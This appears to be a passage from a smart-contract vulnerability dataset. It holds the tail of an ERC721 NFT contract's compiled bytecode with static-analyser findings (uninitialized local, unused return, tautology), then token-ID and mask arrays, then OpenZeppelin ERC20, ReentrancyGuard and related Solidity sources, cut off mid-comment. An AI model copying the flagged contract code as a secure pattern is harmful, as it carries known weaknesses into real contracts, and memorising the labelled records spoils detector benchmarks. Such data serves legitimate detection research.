b915061354a8261418f565b604082019050919050565b6000613562603283613d8c565b915061356d826141de565b604082019050919050565b6000613585602683613d8c565b91506135908261422d565b604082019050919050565b60006135a8601c83613d8c565b91506135b38261427c565b602082019050919050565b60006135cb602483613d8c565b91506135d6826142a5565b604082019050919050565b60006135ee601983613d8c565b91506135f9826142f4565b602082019050919050565b6000613611601f83613d8c565b915061361c8261431d565b602082019050919050565b6000613634602c83613d8c565b915061363f82614346565b604082019050919050565b6000613657603883613d8c565b915061366282614395565b604082019050919050565b600061367a602a83613d8c565b9150613685826143e4565b604082019050919050565b600061369d602983613d8c565b91506136a882614433565b604082019050919050565b60006136c0602a83613d8c565b91506136cb82614482565b604082019050919050565b60006136e3602083613d8c565b91506136ee826144d1565b602082019050919050565b6000613706602b83613d8c565b9150613711826144fa565b604082019050919050565b6000613729602c83613d8c565b915061373482614549565b604082019050919050565b600061374c602083613d8c565b915061375782614598565b602082019050919050565b600061376f602983613d8c565b915061377a826145c1565b604082019050919050565b6000613792602f83613d8c565b915061379d82614610565b604082019050919050565b60006137b5602283613d8c565b91506137c08261465f565b604082019050919050565b60006137d8602183613d8c565b91506137e3826146ae565b604082019050919050565b60006137fb603183613d8c565b9150613806826146fd565b604082019050919050565b600061381e602c83613d8c565b91506138298261474c565b604082019050919050565b6000613841602c83613d8c565b915061384c8261479b565b604082019050919050565b61386081613f27565b82525050565b61386f81613f27565b82525050565b600061388182866134b3565b915061388d8285613482565b915061389982846134b3565b9150819050949350505050565b60006020820190506138bb6000830184613394565b92915050565b60006080820190506138d66000830187613394565b6138e36020830186613394565b6138f06040830185613866565b81810360608301526139028184613410565b905095945050505050565b60006040820190506139226000830185613394565b61392f6020830184613866565b9392505050565b6000602082019050818103600083015261395081846133a3565b905092915050565b600060208201905061396d6000830184613401565b92915050565b6000602082019050818103600083015261398d8184613449565b905092915050565b600060208201905081810360008301526139ae81613532565b9050919050565b600060208201905081810360008301526139ce81613555565b9050919050565b600060208201905081810360008301526139ee81613578565b9050919050565b60006020820190508181036000830152613a0e8161359b565b9050919050565b60006020820190508181036000830152613a2e816135be565b9050919050565b60006020820190508181036000830152613a4e816135e1565b9050919050565b60006020820190508181036000830152613a6e81613604565b9050919050565b60006020820190508181036000830152613a8e81613627565b9050919050565b60006020820190508181036000830152613aae8161364a565b9050919050565b60006020820190508181036000830152613ace8161366d565b9050919050565b60006020820190508181036000830152613aee81613690565b9050919050565b60006020820190508181036000830152613b0e816136b3565b9050919050565b60006020820190508181036000830152613b2e816136d6565b9050919050565b60006020820190508181036000830152613b4e816136f9565b9050919050565b60006020820190508181036000830152613b6e8161371c565b9050919050565b60006020820190508181036000830152613b8e8161373f565b9050919050565b60006020820190508181036000830152613bae81613762565b9050919050565b60006020820190508181036000830152613bce81613785565b9050919050565b60006020820190508181036000830152613bee816137a8565b9050919050565b60006020820190508181036000830152613c0e816137cb565b9050919050565b60006020820190508181036000830152613c2e816137ee565b9050919050565b60006020820190508181036000830152613c4e81613811565b9050919050565b60006020820190508181036000830152613c6e81613834565b9050919050565b6000602082019050613c8a6000830184613866565b92915050565b6000613c9a613cab565b9050613ca68282613fa5565b919050565b6000604051905090565b600067ffffffffffffffff821115613cd057613ccf61413b565b5b613cd98261417e565b9050602081019050919050565b600067ffffffffffffffff821115613d0157613d0061413b565b5b613d0a8261417e565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613db382613f27565b9150613dbe83613f27565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613df357613df2614050565b5b828201905092915050565b6000613e0982613f27565b9150613e1483613f27565b925082613e2457613e2361407f565b5b828204905092915050565b6000613e3a82613f27565b9150613e4583613f27565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e7e57613e7d614050565b5b828202905092915050565b6000613e9482613f27565b9150613e9f83613f27565b925082821015613eb257613eb1614050565b5b828203905092915050565b6000613ec882613f07565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613f5e578082015181840152602081019050613f43565b83811115613f6d576000848401525b50505050565b60006002820490506001821680613f8b57607f821691505b60208210811415613f9f57613f9e6140ae565b5b50919050565b613fae8261417e565b810181811067ffffffffffffffff82111715613fcd57613fcc61413b565b5b80604052505050565b6000613fe182613f27565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561401457614013614050565b5b600182019050919050565b600061402a82613f27565b915061403583613f27565b9250826140455761404461407f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f45746865722076616c75652073656e74206973206e6f7420636f727265637400600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f507572636861736520776f756c6420657863656564206d617820737570706c7960008201527f206f6620746f6b656e7300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f43616e6e6f74206d696e7420736f206d616e7920746f6b656e7320617420746860008201527f652073616d652074696d65000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f53616c65206d7573742062652061637469766520746f206d696e7420746f6b6560008201527f6e73000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f43616e6e6f74206d696e742030206f722061206e6567617469766520616d6f7560008201527f6e74206f6620746f6b656e730000000000000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b6147f381613ebd565b81146147fe57600080fd5b50565b61480a81613ecf565b811461481557600080fd5b50565b61482181613edb565b811461482c57600080fd5b50565b61483881613f27565b811461484357600080fd5b5056fea2646970667358221220b6531e498a025845dae333fe1b13dfe9ef578aac7671c4dd040e8f62183dcb4764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2692, 2475, 14141, 2094, 2620, 2050, 23352, 2094, 14142, 2683, 12376, 10790, 27814, 2487, 2546, 2094, 19317, 18827, 2575, 19797, 2546, 2575, 2581, 2620, 2094, 2683, 2549, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,816
0x95c0b30C6276e67Ae95127aF458573a63113BdFF
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") { } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must 